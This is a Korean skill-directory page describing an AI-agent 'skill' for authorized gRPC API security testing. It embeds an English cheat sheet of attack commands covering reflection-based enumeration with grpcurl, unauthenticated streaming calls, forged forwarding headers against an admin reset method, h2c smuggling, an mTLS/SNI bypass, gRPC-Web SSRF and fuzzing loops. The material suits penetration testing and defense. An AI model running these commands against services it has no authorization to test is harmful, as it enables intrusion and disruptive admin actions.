본문으로 건너뛰기
Skillpedia
보안6.5k · #14024

api-grpc

하는 일

이 안내서는 HTTP/2 위에서 바이너리 형식을 쓰는 gRPC API의 보안 점검을 다룹니다. 내부 및 외부 gRPC 서비스를 검토하는 보안 테스터를 위한 가이드입니다.

사용하는 경우

  • ✓허가된 검토에서 gRPC를 쓰는 서비스가 발견되어 메서드를 점검해야 할 때.
  • ✓서버 리플렉션이 의도보다 많은 메서드를 드러내는지 확인하고 싶을 때.
  • ✓스트리밍 메서드가 일반 호출과 같은 접근 규칙을 적용하지 않을 수 있는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/api/grpc/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/api/grpc/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“운영 중인 gRPC 서비스가 있습니다. 스트리밍 메서드가 다른 메서드와 같은 접근 규칙을 적용하는지 확인해 주시겠어요?”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 gRPC 서비스를 식별하고, 노출된 메서드를 나열한 뒤, 각 메서드가 같은 방식으로 권한 부여를 적용하는지 확인합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

gRPC API Attack Surface

Discovery

# 1. Detect: HTTP/2 + content-type application/grpc[+proto|+json]
curl -s -I --http2 https://api.target/svc/method | grep -iE 'content-type|alt-svc'

# 2. List services via server reflection (often left on in prod)
grpcurl -plaintext target:50051 list
grpcurl -plaintext target:50051 list mypackage.MyService
grpcurl -plaintext target:50051 describe mypackage.MyService.Method

# 3. If reflection disabled, grab .proto from:
#   - Sourcemap of a gRPC-Web client app
#   - JS bundle: `grep -ro "name: \"\\([A-Z][A-Za-z]*Service\\)" *.js`
#   - Mobile app (apktool + jadx → search for FileDescriptorProto)

Attack patterns

Missing authz on streaming RPCs

Many implementations enforce auth on unary RPCs but skip server-streaming or bidi-streaming:

grpcurl -plaintext -H "authorization: bearer" target:50051 \
  mypackage.MyService/StreamEvents
# Sometimes returns events without proper auth check

Protobuf field-number reuse / unknown-field exfil

Send a request with extra protobuf fields (numbers not in the .proto) — older servers echo them back or expose internal state via UnknownField handling.

echo '{"id": 1, "1000000": "hidden field"}' | \
  grpcurl -plaintext -d @ target:50051 mypackage.MyService/Get

Metadata header injection

gRPC headers (metadata) often map directly to HTTP/2 headers in the proxy layer:

grpcurl -plaintext -H "x-real-ip: 127.0.0.1" -H "x-forwarded-for: 127.0.0.1" \
  -H "authorization: bearer $TOKEN" target:50051 mypackage.AdminService/Reset

h2c smuggling — gRPC fronted by Envoy/nginx

HTTP/2 cleartext upgrade can be smuggled past h1/h2 boundary:

# Use h2csmuggler.py against an Envoy fronting a gRPC backend
python3 h2csmuggler.py -x https://front.target/ -t /AdminService.Reset http://internal-grpc:50051

mTLS bypass via SNI mismatch

If the backend validates mTLS but the front terminates TLS, sometimes SNI-different connections bypass:

# Connect with cert for `legit.com` but Host header `admin-internal`
grpcurl -cacert ca.crt -cert legit.crt -key legit.key \
  -authority admin-internal target:443 mypackage.AdminService/Reset

gRPC-Web → backend SSRF

gRPC-Web translates browser HTTP → backend gRPC. Sometimes the translator allows arbitrary upstream:

# If the Envoy filter is misconfigured:
curl https://target/grpc-web/upstream/127.0.0.1:50051/AdminService/Reset

Fuzz strategy

# 1. Pull all the proto definitions
grpcurl -plaintext target:50051 describe -msg-template > schema.txt

# 2. Generate fuzz inputs with grpc-fuzzer or Mayhem
mayhem run grpcfuzzer -t target:50051 -s schema.txt

# 3. Or manual: enumerate Method/{empty,minimal,max,min,negative,oversized}
for m in $(grpcurl -plaintext target:50051 list | xargs -I{} grpcurl -plaintext target:50051 list {}); do
  echo "=== $m ==="
  grpcurl -plaintext -d '{}' target:50051 $m 2>&1 | head -5
done

OPSEC

  • gRPC error responses leak internal types (stack traces in google.rpc.Status.details). Even hardened servers leak via timing on encrypted channels.
  • HTTP/2 connection re-use makes per-request rate limiting brittle — flood detection often misses.

References

  • "Attacking gRPC" — NCC Group whitepaper
  • grpcurl manual — github.com/fullstorydev/grpcurl
  • protoc-gen-grpc-web — gRPC-Web spec
  • DEFCON 30 "Cloud Native Track" — gRPC attack patterns
자주 묻는 질문

서버 리플렉션이란 무엇인가요?

gRPC 서비스의 메서드를 나열하는 기능이며, 안내서는 이것이 운영 환경에서 켜진 채로 남는 경우가 있다고 설명합니다.

스트리밍 메서드가 왜 문제인가요?

일부 구현은 단순 호출에는 접근을 확인하지만, 스트리밍에는 확인을 건너뛴다고 안내서는 설명합니다.

다른 전송 방식도 다루나요?

네. gRPC-Web과 관련 프런트엔드 게이트웨이도 다룹니다.

상세 정보

작성자의 원본 설명

gRPC API exploitation — reflection-based discovery via grpcurl, protobuf fuzzing, missing authz on streaming RPCs, gRPC-Web → backend SSRF, mTLS bypass, metadata header injection, h2c smuggling against gRPC fronts.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14024
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬